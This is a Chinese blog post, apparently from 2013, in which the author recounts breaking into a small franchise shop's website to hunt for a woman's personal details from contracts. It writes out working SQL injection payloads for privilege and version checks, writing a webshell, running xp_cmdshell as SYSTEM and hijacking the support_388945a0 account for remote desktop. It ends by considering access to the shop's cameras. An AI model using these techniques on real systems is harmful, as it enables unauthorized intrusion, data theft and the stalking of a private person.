搜索注入sa点,小白文~~

2013-01-10 20:56:14 32 3066 1


小区楼下有个妹子,是XXX店的,想多了解下妹子信息,去看她合同上的资料是个不错的选择,
XXX是加盟店,想想网站肯定少不了。
baidu到xxx。
http://www.XXXX.cn/
差下IP,是成都的没错,估计是自己买的服务器。
先看下隐私策略,这里一般能看到第一手信息,有uploadfile目录,那编辑器少不了了
ewebeditor和htmleditor以及southidceditor这几个都是在后台目录下层的,
直接跟个fckeditor果然存在,
首页有注册,注册进去发现没权限传。后台暂时找不到。
有搜索,aspx的啊。一般是mssql无疑了。

输入% 直接列举了所有可以查询到的东西,

选了个家和人寿
查询:家和人寿'报错

错误如下:

字符串 ' and pSmallPic<>' and pPrice<>' and pViewFlag=1' 后的引号不完整。
' and pSmallPic<>' and pPrice<>' and pViewFlag=1' 附近有语法错误。
说明: 执行当前 Web 请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。

异常详细信息: System.Data.SqlClient.SqlException: 字符串 ' and pSmallPic<>' and pPrice<>' and pViewFlag=1' 后的引号不完整。
' and pSmallPic<>' and pPrice<>' and pViewFlag=1' 附近有语法错误。

源错误:


行 99:     {
行 100:        string sql = "";
行 101:        rpProduct.DataSource = QQPage.GetPage("Products", "pTitle like '%" + key + "%' and pSmallPic<>'' and pPrice<>'' and pViewFlag=1", "*", 15, page, "pId", "desc", "", ref pageCurrent, ref totalPages);//QQ.Business.List.GetList(sql, 0);
行 102:        rpProduct.DataBind();
行 103:        if (totalPages > 0)


源文件: e:\Web\XXXXXX\wwwroot\ProductsSearch.aspx.cs    行: 101

堆栈跟踪:


[SqlException (0x80131904): 字符串 ' and pSmallPic<>' and pPrice<>' and pViewFlag=1' 后的引号不完整。
' and pSmallPic<>' and pPrice<>' and pViewFlag=1' 附近有语法错误。]
   QQ.DBUtility.DbHelperSQL.GetSingle(String SQLString) in E:\web\XXXXX\XXXXXB\QQ.DBUtility\DbHelperSQL.cs:343
   QQ.Common.QQPage.GetPage(String tableName, String strWhere, String fieldShow, Int32 pageSize, Int32 pageCurrent, String orderField, String orderType, String orderStr, Int32& recordCount, Int32& totalPages) in E:\web\XXXXX\XXXXXXB\QQ.Common\QQPage.cs:265
   ProductsSearch.GetProduct(String key) in e:\Web\XXXXX\wwwroot\ProductsSearch.aspx.cs:101
   ProductsSearch.Page_Load(Object sender, EventArgs e) in e:\Web\XXXXX\wwwroot\ProductsSearch.aspx.cs:26
   System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) +15
   System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +34
   System.Web.UI.Control.OnLoad(EventArgs e) +99
   System.Web.UI.Control.LoadRecursive() +47
   System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +1061



--------------------------------------------------------------------------------
版本信息: Microsoft .NET Framework 版本:2.0.50727.42; ASP.NET 版本:2.0.50727.42



看到搜索注入了。目录也暴了。。好惨

直接:生日%' and db_name()>0 and '%'='

在将 nvarchar 值 'XXXXXDATA' 转换成数据类型 int 时失败

这下基本可以确定了。

判断下权限 家和人寿%' and (SELECT is_srvrolemember('sysadmin'))=1 and '%'='

返回正常,SA权限,

看下版本,如果mssql2000默认支持外链就更简单了。

输入:家和人寿%' and @@version>1 and '%'='

在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
' 转换成数据类型 int 时失败。

搜索注入没办法多语句的吧,

2005啊。那就直接列目录吧,

对,先看下是否库站分离

家和人寿%' and host_name()>0 and '%'='
在将 nvarchar 值 'XXXX-1986' 转换成数据类型 int 时失败。

家和人寿%' and @@servername>0 and '%'='
在将 nvarchar 值 'XXXX-1986' 转换成数据类型 int 时失败。

好了,直接写文件了。

用pangolin吧,手工太麻烦,
路径输入:e:\Web\XXXX\wwwroot\11.asp
backup log方式直接建表失败。。//日志备份
用sp_makewebtask 也失败 。不死心备份个txt,成功了。。

看来是无执行权限吧,换目录,写在e:\Web\XXXX\wwwroot\uploadfile\1.asp

访问,成功。

直接wsc连上。找到web.config中的数据库连接字符串。登陆直接执行 exec master..xp_cmdshell 'whoami'  system。

tasklist /svc一下
svchost.exe                   2320 TermService   

再 netstat -ano 一下 看到
PID 2320对应的端口是3389

support_388945a0 给他权限 修改密码

登陆,
最后附带一张图

很简单的小测试。最后妹子资料还是没找到。

ps:发现店里还有摄像头,我突然想到C段的机器上是不是有监控设备啊。

关于作者

评论32次

要评论?请先  登录  或  注册